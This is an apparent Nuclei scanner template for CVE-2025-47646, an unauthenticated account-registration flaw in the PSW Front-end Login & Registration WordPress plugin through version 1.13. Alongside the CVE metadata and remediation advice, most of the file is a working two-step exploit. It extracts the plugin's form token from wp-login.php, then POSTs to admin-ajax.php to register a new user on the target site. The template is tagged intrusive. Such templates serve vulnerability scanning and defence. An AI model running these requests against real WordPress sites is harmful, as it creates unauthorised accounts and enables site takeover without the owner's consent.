PSW Front-end Login & Registration 1.13 - Weak Password Recovery

id: CVE-2025-47646

info:
  name: PSW Front-end Login & Registration 1.13 - Weak Password Recovery
  author: pussycat0x
  severity: critical
  description: |
    PSW Front-end Login & Registration plugin for WordPress contains a weak password recovery mechanism that can be exploited by unauthenticated attackers. This vulnerability affects versions through 1.13 and allows attackers to potentially gain unauthorized access.
  impact: |
    Unauthenticated attackers can register new administrator accounts through weak password recovery mechanisms, potentially gaining complete administrative access to the WordPress site.
  remediation: |
    Upgrade PSW Front-end Login & Registration plugin to version 1.14 or later that implements secure password recovery mechanisms.
  reference:
    - https://github.com/RootHarpy/CVE-2025-47646
    - https://github.com/Nxploited/CVE-2025-47646
    - https://patchstack.com/database/wordpress/plugin/psw-login-and-registration/vulnerability/wordpress-psw-front-end-login-registration-1-12-broken-authentication-vulnerability?_s_id=cve
    - https://github.com/PuddinCat/GithubRepoSpider
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-47646
    cwe-id: CWE-640
    epss-score: 0.24718
    epss-percentile: 0.97911
  tags: cve,cve2025,wordpress,wp-plugin,psw,intrusive,vuln

variables:
  username: "{{randstr}}"
  password: "{{randstr}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "psw_registration"
          - "pswlogform"
          - "/wp-content/plugins/psw-login-and-registration"
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        group: 1
        regex:
          - 'name="pswforgetform" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        first_name={{username}}&last_name={{username}}&new_user_name={{username}}&new_user_email={{email}}&new_user_password={{password}}&new_user_password_confirmation={{password}}&action=register_user_front_end&psw_form={{token}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "{{username}}","activation link")'
          - 'status_code == 200'
        condition: and